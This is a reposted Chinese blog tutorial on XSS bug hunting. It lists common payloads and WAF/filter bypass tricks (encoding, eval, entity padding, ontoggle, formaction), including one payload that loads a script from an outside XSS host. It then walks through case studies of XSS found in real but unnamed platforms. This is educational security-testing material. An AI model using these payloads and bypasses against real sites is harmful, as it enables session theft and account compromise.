(原文链接:https://www.yuque.com/broken5/blog/vukwsh ,作者:Broken_5)

前言

如果你还对XSS有些陌生,可以先去看下面这两篇文章,第二篇是连载,可以仔细看一看

XSS总结 - 先知社区

Web安全从零开始-XSS I - Zedd’s Blog

那些年我们一起学XSS

最后一篇文章是精髓,我就是因为看了这篇文章之后XSS功力突飞猛进

常用的Payload

  1. <script>alert(1)</script>
  2. <script src=https://xsspt.com/VBAhTu></script>
  3. <a href=javascript:alert(1)>xss</a>
  4. <svg onload=alert(1)>
  5. <img src=1 onerror=alert(1)>
  6. <img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)>
  7. <details open ontoggle=alert(1)>
  8. <body onload=alert(1)>
  9. <M onmouseover=alert(1)>M
  10. <iframe src=javascript:alert(1)></iframe>
  11. <iframe onload=alert(1)>
  12. <input type="submit" onfocus=alert(1)>
  13. <input type="submit" onclick=alert(1)>
  14. <form><input type="submit" formaction=javascript:alert(1)>
  15. <!-- 上面这些都是比较常用的,那些不常用的我就没写 -->

Bypass的一些姿势

  1. <!-- 空格被过滤 -->
  2. <img/src="1"/onerror=alert(1)>
  3. <!-- 双写绕过 -->
  4. <iimgmg src=1 oonerrornerror=aimglert(1)>
  5. <!-- 大小写绕过 -->
  6. <iMg src=1 oNerRor=alert(1)>
  7. <!-- 利用eval() -->
  8. <img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">
  9. <img src=1 onerror=eval(atob('YWxlcnQoMSk='))>
  10. <!-- 利用location -->
  11. <img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
  12. <img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
  13. <img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
  14. <!-- 括号被过滤 -->
  15. <img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
  16. <!-- onerror=被过滤 -->
  17. <img src=1 onerror =alert(1)>
  18. <img src=1 onerror
  19. =alert(1)>
  20. <!-- 属性被转换为大写 -->
  21. <img src=1 onerror=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>
  22. <!-- 编码后被检测 -->
  23. <img src=1 onerror=&#x00000061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>
  24. <!-- 上面的绕过是比较常见的姿势了,下面将结合实例讲XSS的绕过>

XSS实例及挖掘方法

1.1 某租号平台的三个XSS

首先租号平台肯定有一个发布账号的功能,发布账号就要涉及到用户输入,所以XSS出现的机率很大,来看看第一个实例。

发布账号后,发现<>"&都被转义了,以及&被替换被空,大部分人遇到这种的肯定都会放弃,但是它这里有一点没有处理好

XSS漏洞挖掘-进阶(转载) - 图1

它封面可以设置多张图片,多张图片的链接用|来分割,我在图片链接当中加了个单引号,没想到这个单引号居然能逃逸双引号的束缚,见下图

XSS漏洞挖掘-进阶(转载) - 图2

接下来就可以利用onload构造payloade就好了

XSS漏洞挖掘-进阶(转载) - 图3

第二个实例和第一个实例完全是一模一样,这个租号平台有个手机客户端,在手机客户端中也有一个发布账号的功能,由于后台处理是一样的,所以就多找到一个XSS,这也是漏洞挖掘的一个思路吧

XSS漏洞挖掘-进阶(转载) - 图4

XSS漏洞挖掘-进阶(转载) - 图5

第三个实例也是手机客户端上的(感觉目前APP的XSS防御较弱),一个发布动态的功能,同样动态内容中的标签都会被转义了,但是可以插入图片,能插入图片的地方XSS一般是比较多的

XSS漏洞挖掘-进阶(转载) - 图6

由于它没有对双引号进行转义,所以在引入图片链接的时候,输入双引号会闭合前面的双引号,所以就造成了XSS

XSS漏洞挖掘-进阶(转载) - 图7

XSS漏洞挖掘-进阶(转载) - 图8

1.2 某陪玩平台的一个XSS

也是从APP入手的,在一个修改地址的地方

XSS漏洞挖掘-进阶(转载) - 图9

修改之后,地址变为了<sc<x>ript>,并没有直接实体转义,还有机会

XSS漏洞挖掘-进阶(转载) - 图10

在之前对该站的测试中发现,服务器全局将'"替换为空,所以可以利用这个特点来进行绕过

XSS漏洞挖掘-进阶(转载) - 图11

XSS漏洞挖掘-进阶(转载) - 图12

在网页可以看到address的回显

XSS漏洞挖掘-进阶(转载) - 图13

1.3 某酒店的一个反射XSS

大部分人在URL中看到参数一般都是想着SQL注入吧,但还有可能是反射XSS

XSS漏洞挖掘-进阶(转载) - 图14

由于前端并没有对双引号进行转义所以导致了XSS

XSS漏洞挖掘-进阶(转载) - 图15

1.4 bilibili某论坛的一个XSS利用点

虽然最后没有利用好,但是思路还是不错的。先来讲讲思路,在该bilibili论坛,如果你第一次用bilibili账号登陆,他会将你bilibili的个性签名同步到该站,在这过程中它并没有讲bilibili中的个性签名做转义,所以如果利用的好应该能导致XSS

将bilibili的个签改成<img><a>123</a><div></div><svg></svg>

XSS漏洞挖掘-进阶(转载) - 图16

用bilibili账号登陆目标站点后,会同步个性签名,bilibili还是在出口对标签做了过滤<svg>标签被转义,但是其它的标签并没有被转义

XSS漏洞挖掘-进阶(转载) - 图17

1.5 某旅行网的一个XSS

在修改昵称处,可以输入任意字符

XSS漏洞挖掘-进阶(转载) - 图18

从返回结果来看,将<>变为空

XSS漏洞挖掘-进阶(转载) - 图19

之前POST的数据类似json格式,利用\u003csvg\u003e成功写入<svg>,猜测是服务器先对POST的内容进行检测,再格式化数据,所以使用\u00xx能成功绕过检测

XSS漏洞挖掘-进阶(转载) - 图20

1.6 APP数据接口中的XSS

一般这种XSS多出现在APP微信小程序当中,其原理是,服务器未控制返回包中的Content-Type,导致本来是JSON格式的数据,会用默认的html来解析

首先我发布了一条评论,评论的内容为<svg .....>

XSS漏洞挖掘-进阶(转载) - 图21

接下来调用接口来查询发布的评论,可以发现返回的是JSON数据,而Content-Type却是text/html,导致浏览器会解析数据中的标签

XSS漏洞挖掘-进阶(转载) - 图22

而服务器后端使用的是Request来接收数据的,所以可以把POST换为GET,两个缺陷组合在一起也就导致了XSS

XSS漏洞挖掘-进阶(转载) - 图23

对于这种XSS一般是有一个就有一串,如果返回的数据可控,那么每一个接口都可以是一个XSS的触发点

1.7 XSS绕WAF的两个实例

第一个例子,在查询框中由于没有对双引号进行转义所以存在反射型XSS

XSS漏洞挖掘-进阶(转载) - 图24

多次测试后发现onload、onclick、onfocus等一些常用的属性都被WAF禁了

XSS漏洞挖掘-进阶(转载) - 图25

只能祭出我的绕WAF万能payload <details open ontoggle=testdemo>

XSS漏洞挖掘-进阶(转载) - 图26

使用ontoggle属性能绕过WAF,但是属性的值被转换为大写了,之前说过使用HTML实体编码可以绕过

alert(1)转换为HTML实体编码 alert(1)

XSS漏洞挖掘-进阶(转载) - 图27

转换编码后还是被检测了

这种很好绕,只要将其中一个字符的HTML编码改为&#x00000xx格式WAF就检测不出来了

XSS漏洞挖掘-进阶(转载) - 图28

第二个例子,跟第一个例子如出一辙,都是没有在输入框对双引号进行转义

XSS漏洞挖掘-进阶(转载) - 图29

WAF同样也是过滤了onload onclick onfocus等一些常用属性,这次连我的绕WAF万能payload都给过滤了

XSS漏洞挖掘-进阶(转载) - 图30

没办法,那只能拿出我的第二个payload <input type=submit formaction=javascript:alert1>

XSS漏洞挖掘-进阶(转载) - 图31

还是没有绕过去,因为WAF还过滤了javascript:跟第一个例子一样,使用HTML实体编码javascript:转换为javascript:

XSS漏洞挖掘-进阶(转载) - 图32

XSSWAF的关键就是绕过被禁用的属性,平时可以去收集一点冷门的属性,只要绕过被禁用的属性,一般的WAF就拦不住你了

XSS的总结

首先先要了解该网站的业务,判断哪些地方可能存在XSS漏洞,比如:发布文章、设置头像、地址、昵称、用户的其它个人资料等,大部分企业都有WEB端移动端,有些移动端修改的资料,可以显示在WEB端某个地方且目前移动端XSS防御较弱,我的好多XSS也都是从移动端入手的,XSS也是目前WAF较难防御的一个点,因为可以有太多变形,WAF过滤起来是有一定难度的,可以去看我另一篇Bypass的实例:记一次艰难的XSS